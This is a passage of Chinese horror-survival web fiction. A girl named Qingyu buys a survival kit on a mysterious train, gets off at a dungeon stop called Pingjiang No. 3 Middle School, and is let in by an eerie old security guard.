那颗红色的小痣像一滴殷红的血,带着她回到童年的火塘边,在跳动的火焰中,妈妈低着头翻弄火上烤着的玉米,火焰便照亮了她鼻尖的红痣,将她温柔的身影映在开裂的黄色土墙上。玉米的香气从遥远的回忆中飘然而至,与玫瑰的香味交织着,她的妈妈一直都在,从未离开过。 补给时间为一个小时,一个小时后,苏十开始再次播报。 “各位乘客请注意,列车已到达‘平江三中’副本区,当前位置是‘平江三中’入口站台。请即将在本站下车的乘客确认随身携带的基础物资:至少十日分量的食物、饮用水及一件防身武器。未达标者生存率将显著降低,所以请您谨慎选择是否下车。” “另外,在本站下车的乘客需支付一枚通关币的乘车费用。特别提醒,本车厢正在促销生存套装,仅需一枚通关币,便可获得一个基础医疗包与十分钟绝对安全BUFF。该BUFF可主动开启,适用时间为本次副本全程,生效范围为佩戴者周身三米,可抵御一次致命伤害并自动触发治疗效果。欲购从速,先到先得。” 青于最先走上前,交出两个通关币,买了一份生存套装。 基础医疗包非常基础,里面只有一盒创可贴、50ml酒精、一支止血剂、几包纱布块和一卷绷带,要是在补给车买的话只需要花几十块钱就能买到,甚至可能更便宜,但是药品刷新的概率太低,再加上还有一个BUFF捆绑销售,所以能卖出一枚通关币的高价。 青于背着小书包,拿着杀猪刀下了车,下车后是一个小小的候车厅,和石洞子村的相似,上面写着“平江三中”。候车厅红色的墙壁褪色后露出灰白的水泥底色,大一块小一块,斑驳不堪。牌匾又老又旧,剥落的漆面如干涸的血痂,透着一股被时间遗忘的荒芜。 地面是灰色的水泥地,一直朝着前方延伸,拉伸成一条一米宽的小路,路面上有用红色油漆画出来的箭头。小路两侧杂草丛生,密密麻麻的杂草后面是浓浓的黑暗,无声地暗示着,你只可以往前走。 冷风卷着落叶掠过候车厅,青于裹紧外套,顺着地面上红色的箭头一直往前走。 走了十几分钟,她停在一道锈迹斑斑的铁门前,门框上缠绕着茂盛的爬山虎,那翠绿的藤蔓向两侧生长攀爬,墙壁上、教学楼上、铁门上,全是它们的影子。写着校名的牌匾在风中摇晃,字迹斑驳,白底黑字,看起来就不吉利。 铁门发出刺耳的吱呀声,一个枯瘦的老头穿着脏兮兮的保安服站在门口死死盯着她,张开嘴,露出一口黑黄的牙齿,嗓音沙哑地说道:“你就是今天新来的学生?” 青于低头看了看自己手中的杀猪刀,连忙将手藏到身后,回答道:“是的。” 老头微微侧身,示意她进门。 青于抬脚穿过铁门,正式踏入平江三中。 校园里很空旷,被围墙围起来的只有三栋红砖砌成的小楼,分别是教学楼、宿舍楼、食堂。在三栋小楼的中间就是操场,水泥地面有塌陷有裂痕,篮球架歪斜地立着,上面没有球筐。 身后吱呀一声,铁门被关上,穿着保安服的老头走到旁边小小的保安亭里,点起一支烟,眼皮耷拉着瞥了她一眼,叼着烟含糊不清地说:“去吧,老师的办公室在一楼。厕所旁边有牌子的那间,找王老师。”